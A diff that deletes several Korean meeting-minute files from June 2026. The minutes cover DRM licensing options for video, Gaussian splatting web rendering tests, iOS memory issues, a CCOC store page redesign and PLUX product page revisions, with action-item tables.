-* **보안 정책 충돌**: 애플의 보안 정책으로 인해 암호화된 영상에서 픽셀 버퍼 접근이 제한될 수 있는 문제 발생.
-* **자체 구현 리스크**: 자체적인 DRM/보안 로직 구현 시 보안 리스크가 커질 우려가 있음.
-
-## 3. 결정 사항
-* **플랫폼별 전략 분리**: Android(AOS)는 기존 도브러너 방식을 유지하되, iOS는 자체적인 기술 구현을 검토함.
-
-## 4. 오픈 이슈
-* **도브러너 테스트 가능 여부**: 도브러너의 방식이 실제 서비스 가능한 수준인지, 혹은서버에서 내려받는 방식 등으로 우회 가능한지 확인 필요.
-* **Clear Key 지원 여부**: 국내 환경에서 Clear Key를 통한 구현 가능성 및 업체별 지원 범위 확인 필요.
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 |
-| --- | --- | --- | --- |
-| 김도건 | AS128 관련 업체 조사 | 국내외 DRM 업체 중 AS128 규격 및 기술 대응이 가능한 업체를 파악하기 위해 자료를 조사함. | 미정 |
-| 김도건 | DRM 업체 추가 확인 | EG DRM 및 DRM Today 등 특정 업체들의 기술 지원 범위와 특징을 확인하여 보고함. | 미정 |
-| 참여자 1 | 도브러너 문의 및 의견 수렴 | 도브러너 측에 현재 기술적 요구사항(픽셀 버퍼 접근 등)을 전달하고, 이에 대한 대응 가능 여부에 대해 의견을 요청함. | 미정 |

00_Raw/회의록 n 2026-06-09.md

@@ -1,58 +0,0 @@
-# [가우시안 스플래팅(Gaussian Splatting) 기능 R&D 및 웹 구현 방안 회의]
-
-- **날짜**: 2026년 6월 9일
-- **참석자**: 김원일 PD, 전효주, 김동영, 송병준, 오경득, 한예성, 김상엽, 김동영(참석자 명단 기반)
-- **주제 요약**: 가우시안 스플래팅 기술의 웹 기반 구현 가능성 검토 및 UI/UX 적용을 위한 R&D 방향 설정
-
-## 🔹 요약 보고
-- 가우시안 스플래팅 데이터를 엔진(Unity, Unreal)이 아닌 웹 환경에서 렌더링하기 위한 기술적 방안 논의.
-- 웹 개발을 위해 HTML, JavaScript 등 웹 언어와 적절한 웹 툴(Web Tool) 확보 필요성 제기.
-- 단순 데이터 로딩을 넘어 UI 적용, 클릭 이벤트(상품 정보 팝업), 페이지 전환 기능 구현을 목표로 함.
-- 저사양 모바일 기기(iOS/Android 최저 사양 및 최고 사양)에서의 퍼포으로먼스 테스트 계획 수립.
-
-## 1. 주요 논의 사항
-### [가우시안 스플래팅 웹 구현 기술 검토]
-- **현황**: 현재 엔진 기반이 아닌 웹 기반 개발 환경을 목표로 하며, 유니티나 언리얼 엔진에 데이터를 직접 붙이는 방식은 불가능한 상태임.
-- **핵심 논의**: 
-    - 전효주: 가우시안 스플래팅 자체는 어렵지 않으나 인터랙션을 위한 에디터가 필요하며, 웹 구현을 위해 HTML 및 JavaScript 활용이 필요함.
-    - 김원일: 웹 개발 시 별도의 툴 없이 바이브 코딩(Vibe Coding)으로 대응 가능한지 질문함.
-    - 전효주: 단순 이동/충돌 체크는 가능하나, 데이터 로딩이나 테이블 사용 등 복잡한 기능 구현에는 한계가 있음.
-    - 김동영: 웹 엔진에서 렌더링을 처리하므로 프로그래머가 개입하여 최적화할 수 있는 영역이 제한적임.
-- **결론**: 논의 중 (웹 툴 및 기술 확보 필요)
-
-### [UI 적용 및 사용자 경험(UX) 구현]
-- **현황**: 스플래팅 데이터 위에 UI를 얹고, 특정 영역 클릭 시 정보를 제공하는 기능 구현이 필요함.
-- **핵심 논의**:
-    - 김원일: 가라(Dummy) UI를 적용하여 버튼 클릭 시 팝업이 뜨고 상품 정보로 연결되는 등의 작동 여부를 테스트해야 함.
-    - 전효주: 단순 메시지 박스 형태는 바이브 코딩으로 가능하나, 서비스 수준의 UI를 위해서는 추가적인 작업이 필요함.
-    - 김원일: 공간 내 특정 영역(예: 플러스 마크)을 클릭했을 때 팝업이 뜨고 웹 페이지로 이동하는 기능성을 확인해야 함.
-- **결론**: 결정됨 (UI 작동 및 페이지 전환 기능 구현 목표)
-
-### [기기별 퍼포먼스 테스트 기준]
-- **현황**: 저사양 및 고사양 모바일 기기에서의 렌더링 성능 확인이 필요함.
-- **핵심 논의**:
-    - 김원일: iOS와 Android의 최저/최고 사양 폰을 선정하여 테스트할 것을 제안함.
-    - 한예성(참석자 6): iOS 17 미만 버전에서의 메모리 이슈 및 특정 기기(iPhone 13, 14, 15 등) 테스트 필요성을 언급함.
-    - 김원일: 갤럭시 S22, S23 시리즈에서도 구동 여부를 확인해야 함.
-- **결론**: 결정됨 (지정된 기기 리스트로 테스트 진행)
-
-## 2. 리스크 및 이슈
-- **최적화 한계**: 웹 엔진의 특성상 프로그래머가 직접적으로 개입하여 최적화할 수 있는 영역이 제한적임(전효주).
-- **모바일 성능 불확실성**: PC 대비 모바일 환경에서의 퍼포먼스가 들쭉날쭉하며, 저사양 기기에서는 구동이 어려울 수 있음(전효주, 김동영).
-- **개발 인력 필요**: 고도화된 UI 구현을 위해서는 웹 UI 전문가가 필요함(송병준).
-
-## 3. 결정 사항
-- 가우시안 스플래팅 기술의 R&D를 진행하며, 단순 데이터 확인을 넘어 UI 인터랙션(클릭 시 팝업 및 페이지 이동)이 가능한 프로토타입 제작을 목표로 함.
-- 테스트 기기 범위 확정 (iPhone 13/14/15, Galaxy S22/S23 등).
-
-## 4. 오픈 이슈
-- 웹 개발을 위한 적절한 툴(Web Tool)의 선정 및 확보 방안.
-- 고도화 단계에서 UI 작업을 수행할 전문 인력 확보 문제.
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 |
-| --- | --- | --- | --- |
-| 송병준 | 웹 개발 툴 조사 | 가우시안 스플래팅을 웹에 구현하기 위해 사용할 수 있는 적절한 웹 기반 툴과 라이브러리(Three.js, Babylon.js 등)를 찾아보고 기술적 가능성을 검토함. | 미정 |
-| 김원일 | 프로토타입 기능 테스트 | 가라 UI를 활용하여 특정 영역 클릭 시 팝업이 뜨고 상품 정보 페이지로 전환되는 기능이 정상 작동하는지 확인하고, 저사양 기기에서의 퍼포먼스를 체크함. | 미정 |
-| 한예성 | 지정 기기 성능 테스트 | iPhone 13/14/15 및 Galaxy S22/S23 등 확정된 기기 리스트를 사용하여 가우시안 스플래팅 데이터의 로딩 속도와 렌더링 안정성을 확인함. | 미정 |
-| 홍 팀장 | R&D 진행 및 일정 수립 | 가우시안 스플래팅 기술의 웹 구현 가능성을 연구하고, 프로토타입이 나올 수 있는 구체적인 개발 기간을 산출함. | 미정 |

00_Raw/회의록 o 2026-06-12.md

@@ -1,48 +0,0 @@
-# [회의 제목] DRM 아키텍처 설계 및 영상 업로드 방식 논의
-
-- **날짜**: 2026년 06월 12일
-- **참석자**: 김원일이사(PD), 김상엽팀장(넥서스개발팀), 오경득, 김성회, 김도건(SV), 한예성(PM), 기타 참석자 1~5
-- **주제 요약**: 도브로너(Dovrunner)를 활용한 DRM 인증 아키텍처 설계안과 영상 인코딩 및 업로드 주체에 대한 기술적 검토
-
-## 🔹 요약 보고
-*   **DRM 아키텍처 설계**: 도브로너(Dovrunner) 라이선스 사용 여부에 따른 두 가지 안(위버스 라이선스 활용 vs 자체 라이선스 발급)을 검토 중임.
-*   **영상 처리 프로세스**: 영상 인코딩 및 업로드 주체에 대한 논의가 진행되었으며, 비용 절감을 위해 우리 측에서 관리하는 곳에 업로드하는 방향을 고려함.
-*   **기술적 쟁점**: NCP(네이버 클라우드 플랫폼)와의 연결성, 클리어 키(Clear Key) 방식의 구현 가능성, CDN 정보 획득 및 인증키(IM) 보안 이슈가 핵심임.
-*   **향후 계획**: 위버스 측과 기술 미팅을 통해 라이선스 사용 및 업로드 방식에 대한 최종 협의를 진행할 예정임.
-
-## 1. 주요 논의 사항
-### [DRM 라이선스 적용 방안]
-- **현황**: 도브로너(Dovrunner)를 통한 DRM 인증 아키텍처 설계 완료 단계이며, 라이선스 키 발급 주체에 따라 두 가지 안으로 구분됨.
-- **핵심 논의**: 
-    - 참석자 2: 위버스 라이선스를 그대로 사용할 것인지, 아니면 우리가 직접 라이건스 키를 발급받을 것인지에 대한 차이점 언급.
-    - 참석자 1: NCP 기준으로 인(Key) 정보를 모두 받아야 하는데, 이는 현실적으로 불가능하므로 우리 라이선스를 써야 할 가능성이 높음.
-- **결론**: 논의 중 (위버스 라이선스 활용 vs 자체 라이선스 사용)
-
-### [영상 업로드 및 인코딩 프로세스]
-- **현황**: 영상 제작 후 인코딩을 수행하고 이를 어디에 업로드할 것인지에 대한 검토 필요.
-- **핵심 논의**: 
-    - 참석자 3: 위버스가 영상을 올리는 케이스와 우리가 올리는 케이스로 나뉨.
-    - 참석자 2: 비용 및 글로벌 서비스 최적화(Edge 서버 등)를 위해 위버스의 노하우가 담긴 환경을 활용해야 함.
-    - 참석자 1: 인코딩을 우리 측에서 수행할 확률이 높으며, 클라우드 스토리지 관리 방식에 대한 결정이 필요함.
-- **결론**: 논의 중 (업로드 주체 및 위치에 대한 협의 필요)
-
-## 2. 리스크 및 이슈
-*   **보안 및 인증 이슈**: API 인증 키와 시크릿 키(IM)가 클라이언트에 노출될 경우 탈취 위험이 있음.
-*   **비용 및 성능 이슈**: 글로벌 서비스 운영 시 적절한 세팅(Edge 서버 등)을 사용하지 않을 경우 비용 부담 및 서비스 품질 저하 우려.
-*   **기술적 제약**: NCP 환경에서 클리어 키 방식의 인코딩 구현 가능 여부에 대한 불확실성 존재.
-
-## 3. 결정 사항
-- **DRM 라이선스 활용 방향**: 위버스 라이선스 사용 또는 자체 발급 방식 중 하나를 선택하여 진행 — 근거: "위버스 거 라이센스를 갖다 쓸 수도 있다라는 생각 때문에... 직접 우리가 라이센스 키를 발급받아서 할 거냐에 대한 그 차이"
-- **업로드 전략 방향**: 비용 절감을 위해 우리 측 관리 영역에 업로드하는 것을 기본으로 고려 — 근거: "우리 거에 올리는 거는 너무 당연히 쉬우니까... 우리 거에 올리는 거는 시나리오 쓸 필요도 없어요."
-
-## 4. 오픈 이슈
-*   **CDN 정보 획득**: 위버스 측이 관리하는 곳에 업로드할 경우, 콘텐츠 CDN 정보를 어떻게 획득할 것인가의 문제.
-*   **인증키 보안**: 클라이언트 측에 심어둔 인증 API 키 및 시크릿 키(IM) 탈취 방지 대책.
-*   **업로드 주체 확정**: 위버스 측과 협의하여 영상 업로드를 누가 수행할 것인지에 대한 최종 결정.
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 |
-| --- | --- | --- | --- | --- |
-| 참석자 3 | 기술 미팅 자료 보강 | 영상 업로드 로직 및 인코딩 관련 세부 내용을 추가하여 위버스 측에 전달할 자료를 준비함. 근거: "영상 업로드만 좀 로직을 더 추가를 해 놓겠습니다." | 미정 | 진행미정 |
-| 참석자 1 | 도브로너 가이드 확인 | 클리어 키 방식의 구현 가능 여부 및 NCP 연결성에 대해 도브로너 측에 문의하고 가이드를 확인함. 근거: "그쪽 가이드를 좀 봐야 될 것 같고... 도브로너 측에 했는데..." | 미정 | 진행미정 |
-| 참석자 2 | 위버스 기술 미팅 추진 | 라이선스 키 사용 및 업로드 방식에 대한 핵심 질문(Question)을 정리하여 다음 주 중 위버스 담당자와의 미팅을 잡음. 근거: "질문들을 적어줘요. 그러면 저기랑 위버스랑 미팅하..." | 차주 중 | 기한미정 |

00_Raw/회의록 p 2026-06-16.md

@@ -1,53 +0,0 @@
-# [회의 제목] 플랫폼 최적화 및 CCOC 프로젝트 진행 현황 논의
-
-- **날짜**: 2026년 06월 16일
-- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성 (메타데이터 기준)
-- **주제 요약**: iOS 메모리 이슈 해결을 위한 플랫폼(PlayCanvas, Babylon.js 등) 조사 및 CCOC 프로젝트의 목업 기반 개발 방향 논의
-
-## 🔹 요약 보고
-*   **iOS 메모리 문제 및 최적화**: iOS 기기에서 파일 압축 해제 시 발생하는 메모리 부족 문제와 이를 극복하기 위한 플레이캔버스(PlayCanvas) 활용 방점 논의.
-*   **플랫폼 기술 조사**: 웹GL 기반 환경에서 성능이 검증된 샘플 사이트(3개 내외)를 선정하여 QA 팀에 테스트 요청 계획 수립.
-*   **CCCOC 프로젝트 진행**: 현옥 팀장의 목업을 바탕으로 한 개발 방식 및 데이터 업데이트 방식(바이브 코딩 활용 등) 논의.
-*   **가우시안 스플래팅 R&D**: 파노라마 방식을 대체하거나 보완할 수 있는 기술적 가능성 및 퀄리티 검증 필요성 제기.
-
-## 1. 주요 논의 사항
-### [iOS 메모리 이슈 및 웹GL 플랫폼 조사]
-- **현황**: iOS 환경에서 압축 파일 해제 시 발생하는 메모리 문제로 인해 특정 기기에서 실행이 불안정함.
-- **핵심 논의**: 
-    - 참석자 1: iOS 10/17 등 특정 기기에서의 메모리 터짐 현상과 이를 극복하기 위한 플레이캔버스 지원 포맷(sgl/sog 등) 활용 가능성 언급.
-    - 참석자 2: 이미 서비스 중인 사례나 샘플 데모를 찾아보고, QA 팀에 URL을 전달하여 성능(초 단위 등) 및 작동 여부를 체크리스트로 확인 요청할 것을 제안.
-    - 참석자 3: 가우시안 스플래팅 기반의 최적화된 프로젝트 샘플 3개를 찾아 전달하겠다고 답변.
-- **결론**: 논의 중 (플레이캔버스 및 베이비론 JS 등 기술 검토 필요)
-
-### [CCCOC 프로젝트 개발 방향]
-- **현황**: CCOC 프로젝트의 1차 작업 기한은 19일까지이며, 현재 목업 단계임.
-- **핵급 논의**:
-    - 참석자 4: 현옥 팀장이 만든 웹 기반 목업 형태를 공유할 예정이며, 상품 리스트가 나열된 단순한 구조임을 설명.
-    - 참석자 2: 바이브 코딩을 활용하여 초기 구현을 진행하되, 데이터 업데이트(DB/로컬)를 위한 개별 코딩 및 구조 고민이 필요함을 강조.
-- **결론**: 논의 중 (목업 전달 후 구체적 개발 방식 결정)
-
-### [가우시안 스플래팅 R&D 방향]
-- **현황**: 가우시안 스플래팅 기술을 기존 파노라마 방식에 적용하거나 새로운 무기로 사용할지 검토 중.
-- **핵심 논의**: 
-    - 참석자 3: 기존 파노라마 기술을 유지하면서 새로운 포맷으로 가져가는 방향 제안.
-    - 참석자 2: 결과물의 퀄리티와 호환성에 따라 결정될 문제이며, 최종적인 평가가 필요함.
-- **결론**: 논의 중
-
-## 2. 리스크 및 이슈
-*   **iOS 메모리 부족**: 파일 압축 해제 시 메모리 점유로 인해 특정 기기에서 크래시 발생 가능성 있음.
-*   **기술적 불확실성**: 베이비론 JS나 트리JS 등 선택한 플랫폼의 비주얼 툴 지원 여부 및 개발 편의성에 대한 검증이 필요함.
-
-## 3. 결정 사항
-- **QA 테스트 요청**: 선정된 샘플 사이트(약 3개)를 QA 팀에 전달하여 기종별 성능 및 작동 여부를 체크할 것 — 근거: "QA 통해서 거기 돌아가는지를 체크해서 이 체크리스트 표를 만들어서... 확인해 달라고"
-- **CCCOC 목업 공유**: 개발 방향 설정을 위해 현옥 팀장의 목업 링크를 전달할 것 — 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요."
-
-## 4. 오픈 이슈
-*   베이비론 JS(Babylon.js)의 비주얼 툴 지원 범위 및 활용 가능성 확인 필요.
-*   CCCOC 프로젝트의 데이터 업데이트 방식(DB 연동 또는 로컬 입력)에 대한 구체적인 설계.
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 |
-| --- | --- | --- | --- | --- |
-| 참석자 3 | 웹GL 샘플 프로젝트 전달 | 플레이캔버스 기반의 가우시안 스플래팅 프로젝트를 포함하여, 검증 가능한 샘플 3개를 찾아 전달함. 근거: "가오샤스 플래트 프로젝트 2개하고 일반 프로젝트 하나 해서 3개 정도 전달드리고" | 기한미정 | 진행미정 |
-| 참석자 4 | CCOC 목업 링크 전달 | 현재 개발 중인 CCOC 프로젝트의 느낌을 파악할 수 있도록 현옥 팀장의 목업 링크를 공유함. 근거: "현옥 팀장이 목업 만든 거을 한번 전달드릴게요." | 기한미정 | 기한미정 |
-| 참석자 1/2 | 플랫폼 성능 테스트 및 조사 | 플레이캔버스 등 선정된 사이트의 작동 여부와 성능(초 단위)을 QA 팀을 통해 확인하도록 요청함. 근거: "QA 통해서 거기 돌아가는지를 체크해서... 초 같은 걸을 재는" | 기한미정 | 진행미정 |

00_Raw/회의록 p 2026-06-17.md

@@ -1,52 +0,0 @@
-# [회의록] 웹 기반 플랫폼 기술 검토 및 CCOC 프로젝트 진행 현황
-
-## 1. 회의 개요
-- **일시**: 2026년 6월 16일 | 15:00
-- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성, 현옥 팀장(참석자 4), 기타 개발/기획팀 인원
-- **회의 목적**: iOS 메모리 이슈 확인 및 웹GL 기반 플랫폼 기술 검토, CCOC 프로젝트 진행 상황 공유
-
-## 2. 주요 결과 (Executive Summary)
-- **플랫폼 기술 검토**: 플레이 캔버스(PlayCanvas)를 포함하여 가우시안 스플래팅이 적용된 샘플 3종을 선정해 기기별 성능 및 호환성을 테스트하기로 함.
-- **기술적 대안 탐색**: Three.js 외에 Babylon.js의 활용 가능성과 비주적 접근성(Visual approach)을 확보할 수 있는 방안을 논의함.
-- **CCOC 프로젝트**: 현재 1차 목업 단계이며, 6월 19일까지 1차 작업을 진행하기로 함. 바이브 코딩(Vibe Coding)을 통한 초기 구현과 데이터 업데이트를 위한 개별 코딩 병행 전략을 검토 중임.
-- **향후 방향성**: 가우시안 스플래팅 기술의 결과물 품질에 따라 파노라마 방식 유지 또는 새로운 포맷 도입 여부를 결정할 예정임.
-
-## 3. 결정 사항
-- **기술 테스트 샘플 선정** — 근거: "가오샤스 플래트 프로젝트 2개하고 일반 프로젝트 하나 해서 3개 정도 전달드리고... 3개 정도는 저희가 찾아가지고 한번 전달해 드리도록 하겠습니다."
-- **CCOC 1차 작업 일정 확정** — 근거: "지금 선규 님이 하고 계시고요. 19일까지 일단 1차를 하기로 했어요."
-
-## 4. 논의 사항
-### [웹 기반 플랫폼 성능 및 호환성 검토]
-- **현황**: iOS 기기(특히 iOS 10, 17 등)에서 메모리 부족으로 인한 앱 크래시(Crash) 이슈 발생 가능성 확인.
-- **핵심 논의**: 
-    - 기존에 개발된 사례 중 낮은 사양의 기기에서도 잘 작동하는 샘플을 찾아 QA 팀에 전달하고, 이를 통해 성능 지표(초 단위 등)를 체크하여 최적화 방향을 결정하고자 함.
-    - 플레이 캔버스(PlayCanvas)와 Babylon.js의 활용 가능성을 검토함. 특히 비주얼적인 접근이 용이한 도구를 찾는 것이 핵심임.
-- **추가 검토 필요**: 웹GL(WebGL) 환경에서의 최소 사양 파악 및 기기별 퍼포먼스 체크리스트 작성.
-
-### [CCOC 프로젝트 구현 방식]
-- **현황**: 현재 바이브 코딩으로 제작된 목업이 존재하며, 웹 기반의 단순한 페이지 구성임.
-- **핵심 논의**: 
-    - 초기 구현은 바이브 코딩을 활용하되, 상품 리스트 등 지속적인 데이터 업데이트가 필요한 부분은 별도의 개별 코딩(데이터 연동)이 필요함.
-    - UI 컨트롤 및 단순 이미지 나열 형태를 넘어선 복잡한 기능 구현 시의 개발 공정(Data handling/DB 연동)에 대한 고민이 필요함.
-- **추가 검토 필요**: 데이터 업데이트를 위한 구조 설계 및 기획자가 데이터를 직접 넣을 수 있는 방식에 대한 검토.
-
-### [가우시안 스플래팅 기술 적용 방향]
-- **현황**: 가우시안 스플래팅(Gaussian Splatting) 기술을 활용한 R&D 진행 중.
-- **핵심 논의**: 
-    - 기존 파노라마 방식에서 벗어날지, 아니면 새로운 기술적 무기로 가져갈지는 결과물의 품질(호환성 및 비주으로 퀄리티)에 따라 결정해야 함.
-- **추가 검토 필요**: 최종 호환성 평가 및 기술 도입 여부 결정.
-
-## 5. 리스크 및 검토 사항
-| 리스크 | 영향도 | 대응 방안 |
-| --- | --- | --- |
-| iOS 기기 메모리 부족 이슈 | 높음 (앱 실행 불가) | 플레이 캔버스 등 포맷 최적화 및 압축 파일 해제 시 메모리 사용량 관리 |
-| 기술 검증의 불확실성 | 중간 (개발 방향 혼선) | 샘플 사이트 3종을 통한 기기별 성능 테스트 및 QA 체크리스트 작성 |
-| 데이터 업데이트 공정 복잡도 | 중간 (개발 비용 증가) | 초기 구현은 바이브 코딩으로 진행하되, 데이터 연동 부분만 개별 코딩하는 전략 수립 |
-
-## 6. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 |
-| --- | --- | --- | --- | --- |
-| 월드팀 (참석자 3) | 테스트용 샘플 3종 전달 | 가우시안 스플래팅 적용 프로젝트 및 최적화 오브젝트가 포함된 샘플 3개를 선정하여 전달함. 근거: "3개 정도는 저희가 찾아가지고 한번 전달해 드리도록 하겠습니다." | 기한미정 | 진행미정 |
-| 개발팀 (참석자 1) | iOS 메모리 이슈 테스트 | iOS 특정 버전(10, 17 등)에서 파일 압축 해제 시 발생하는 메모리 문제를 확인하기 위해 URL을 통한 테스트 수행. 근거: "그거에서 한번 보면은 이게 또 10일이나 17에서 터지는지 한번 확인해 보시면 될 것 같아." | 기한미정 | 진행미정 |
-| 현옥 팀장 (참석자 4) | CCOC 목업 링크 전달 | 현재 바이브 코딩으로 제작된 목업의 느낌을 파악할 수 있도록 링크를 공유함. 근근거: "현옥 팀장이 바이브 코딩으로 목금 만든 게 있긴 한데... 목업 링크 전달해 주면 될 것 같아요." | 기한미정 | 진행미정 |
-| QA/개발팀 (참석자 2) | 플랫폼 성능 평가 | 선정된 샘플들을 대상으로 기기별 퍼포먼스(초 단위 등)를 체크하고 체크리스트 작성. 근근거: "QA 통해서 거기 돌아가는지를 체크해서 그 체크리스트 표를 만들어서... 초를 좀 재는 다음에" | 기한미정 | 진행미정 |

00_Raw/회의록 q 2026-06-17.md

@@ -1,52 +0,0 @@
-# [CCCOC 매장 디자인 변경 및 서비스 기능 수정 관련 회의]
-
-## 1. 회의 개요
-- **일시**: 2026년 06월 17일 | 14:00
-- **참석자**: 참석자 1, 참석자 2, 참석자 3, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 참석자 10, 참석자 11, 참석자 12, 참석자 13, 참석자 2, 김원일PD, 오경득팀장, 강성규, 김상엽팀장, 박진규, 전효주, 정현욱팀장, 김태현 팀장, 류동렬, 동열 님, 송 팀장
-- **회의 목적**: CCCOC 매장 디자인 변경, 서비스 기능 수정(배너 클릭 시 바로 시작하기 등), 롯데온 연동 방식 및 개발 범위에 대한 논의
-
-## 2. 주요 결과 (Executive Summary)
-- CCCOC 매장 스타일 반영을 위한 디자인 및 영상 톤 세련화 추진
-- 기존 브랜드 입점 정보/뉴스레터 기능을 삭제하고 디프트와 AI 디프트 큐레이터로 카테고리 단순화 결정
-- 장바구니 연동 시 회원 인증 문제로 인한 높은 개발 작업 부담 확인
-- 캐릭터의 현재 상태를 유지하며 배경 인테리어를 알록달록한 스타일로 변경하는 방향 논의
-
-## 3. 결정 사항
-- **카테고리 구성 및 운영 방식 변경** — 근거: "카테리는 그대로 가져가도 될 것 같습니다." (기존 키친, 라이트, 푸드 체제 유지하되 세부 상품은 CCCOC 집기 바탕으로 정리)
-- **캐릭터 디자인 유지** — 근거: "캐릭터는 이 상태를 지금 이 상태를 만족하고 있으니까" (현재 캐릭터의 긍정적 반응을 고려하여 현 상태 유지)
-
-## 4. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 산출물 | 기한 | 상태 |
-| --- | --- | --- | --- | --- | --- |
-| 참석자 7 | CCCOC 집기 기반 카테고리 정리 | 이번 주 내로 CCCOC로부터 집기를 받아 세부 상품 카제거리를 정리함 근거: "세부 상품들을 저희가 이번 주 내로 ccoc에서 집을 받아서 정리를 할 거여서" | 확인 필요 | 이번 주 내 | 확정 |
-| 참석자 2 | 디자인 시안 제작 및 공유 | 변경된 디자인 안을 제작하여 커뮤니케이션 채널에 공유하고 컨펌을 요청함 근거: "저희가 한번 안을 한번 해서 만들어보고... 컨펌하시는 게 좋을 것 같습니다." | 디자인 시안 | 확인 필요 | 기한미정 |
-| 참석자 4 | 개발팀 미팅 어렌지 | 롯데온 연동 관련하여 개발팀과 일정 조율 및 미팅을 진행함 근거: "매업 하면 개발 쪽이랑 일정 잡는 게 제일 급하겠네요." | 확인 필요 | 차주 중 | 확정 |
-| 참석자 8 | AI 큐레이터 기술 검토 | AI 큐레이터 구현을 위해 프롬프트와 파일 스토리지 준비 등 기술적 가능 여부를 확인함 근거: "이 프로셋 보시고 기술 검토를 좀 일단 좀 해 주시고요." | 기술 검토서 | 확인 필요 | 진행미정 |
-| 참석자 1, 6 | 노원점 매장 사진 촬영 | 최신 데이터 확보를 위해 노원점을 방문하여 고해상도 사진을 촬영함 근거: "핸드e폰 사진이라도 찍어오는 게 낫 않을까 하는 생각은 좀 들거든요." | 고해상도 사진 | 확인 필요 | 기한미정 |
-| 참석자 1 | 테스트 버전 제작 방식 결정 | 송 팀장과 협의하여 상단/하단(푸터) 유지 여부 등 테스트 버전을 제작함 근거: "내일 탑이랑 쿠터 저쪽만 송 팀장이랑 얘기하면 될 것 같긴 해요." | 테스트 버전 | 내일 | 확정 |
-| 참석자 1 | 현장 촬영 진행 요청 | 지정된 날짜에 맞춰 상품 상태 확인을 위한 촬영을 진행함 근거: "아무튼 날짜만 좀 맞춰서 한번 찍어 오시면 좋을 것 같습니다." | 확인 필요 | 확인 필요 | 기한미정 |
-
-## 5. 오픈 이슈
-- 디자인 변경 사항 및 영상 작업에 대한 개발 조직과의 미팅 후 디파인(Define) 진행 여부
-- 상품 리스트 데이터 업데이트 방식 결정 (API 연동 vs 수동 운영 툴 제공)
-- 상단/하단(푸터) 유지 여부 및 뒤로 가기 등 예외 케이스에 대한 기술적 검토
-
-## 6. 리스크 및 검토 사항
-| 리스크 | 영향 | 대응 방안 |
-| --- | --- | --- |
-| 장바구니 연동 개발 부담 | 회원 인증 연동으로 인해 개발 작업 규모가 매우 커질 수 있음 | 개발 범위 및 일정 조율 필요 |
-| 디자인 이질감 발생 | 배경 디자인이 실사/알록달록한 스타일로 변경될 경우 기존 캐릭터와 충돌 가능성 있음 | 영상 및 전반적인 톤을 세련된 느낌으로 일치화 작업 수행 |
-| 데이터 연동 보안/트래픽 리스크 | 브라우저 직접 호출 시 보안 리스크 및 서버 경유 시 네트워크 트래픽 이슈 발생 가능 | 브라우저 직접 호출과 서버 경유 방식 중 적절한 방식 검토 필요 |
-
-## 7. 논의 사항
-**[서비스 기능 및 디자인 변경]**
-- 서비스 진입 단계 축소를 위해 배너 클릭 시 바로 메인 화면으로 이동하도록 수정 예정
-- 브랜드 입점 정보 및 뉴스레터 기능을 삭제하고 디프트/AI 디프트 큐레이터로 카테고리 단순화 추진
-- 영상 제작 시 스틸 이미지 작업과 전체적인 톤(파스텔톤 등)을 일치시켜야 함
-
-**[롯데온 연동 방식]**
-- 롯데온 협업 시 배너 클릭 → 상품 페이지 연결 → 롯데온 연결로 이어지는 기존 방식 적용 검토
-
-**[콘텐츠 제작 및 촬영]**
-- 매장 사진 촬영을 위해 노원점 방문 및 최신 데이터 확보 필요성 논의
-- 캐릭터 뒤 배경을 알록달록한 인테리어로 변경하는 방안 논의

00_Raw/회의록 r 2026-06-19.md

@@ -1,64 +0,0 @@
-# [회의록] PLUX 제품군 상세 페이지 및 AI 답변 시스템 운영 방식 논의
-
-## 1. 회의 개요
-- **일시**: 확인 불가
-- **참석자**: 김원일 이사(PD), 오경득 팀장, 김성회, 김상엽 팀장, 송병준 팀장, 전효주 팀장, 정현욱 팀장, 김태현 팀장, 참석자 1, 참석자 2, 참석자 3, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 동열 님, 효희 팀장
-- **회의 목적**: PLUX 제품군(냉동고, 건조기 등) 상세 페이지 수정 사항 검토 및 AI 답변 시스템(RAG/LLM) 운영 방식 논의
-
-## 2. 주요 결과 (Executive Summary)
-- 냉동고 페이지 특정 섹션 삭제 및 텍스트 수정 확정
-- AI 호출 시 클라이언트와 파일명을 동일하게 유지하는 것을 최우선 원칙으로 설정
-- 드라이기 제외 후 레이아웃 재배치 및 청소기 위치 조정 결정
-- 제품 명칭(냉동/냉장 도어 포키 등)의 통일성 있는 수정 작업 진행 합의
-- 추가 요청이 없는 한 기존 문구 및 영문/중문 번역본은 유지하기로 결정
-
-## 3. 결정 사항
-- **냉동고 페이지 수정** — 근거: "이 페이지 삭제하고 텍스트 이렇게 이렇게"
-- **AI 시스템 파일명 매칭 원칙 수립** — 근거: "클라이언트와 올라가는 파일의 파일명이 똑같아야 한다."
-- **신규 이미지 생성 방향** — 근거: "추가 이미지 2개 더 만드는 걸로"
-- **레이아웃 재배치** — 근거: "드라이기 제외 후 왼쪽 청소기 위치 조정 및 레이아웃 재배치... 진행하기로 함"
-- **제품 명칭 통일** — 근거: "명칭(냉동 도어 포켓, 냉장 도어 포켓 등)을 통일성 있게 수정하고 문구를 맞추는 방향으로 작업 진행"
-- **기존 번역 및 문구 유지** — 근거: "추가 요청이 없는 한 기존 문구 및 번호(영문/중문)는 변경하지 않음"
-- **미니 건조기 명칭 유지** — 근거: "'컴팩트 드라이어' 명칭은 유지하되 하단 설명은 수정하지 않기로 함"
-
-## 4. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 산출물 | 기한 | 상태 |
-| --- | --- | --- | --- | --- | --- |
-| 효희 팀장 | UI 텍스트 수정 | 제품 페이지 내 문구 수정 작업 수행 근거: "이거는 효희 팀장이 수정해 줄 거예요." | 확인 필요 | 확인 필요 | 기한미정 |
-| 참석자 1 | 냉동고 이미지 범위 확인 | 이미지 전체 교체 건인지 텍스트만 변경하는 것인지 의도 파악 근거: "이미지를 이 통째로 바꿔달라 아니면... 확인을 좀 해봐야 될 것 같은데요." | 확인 필요 | 확인 필요 | 진행미정 |
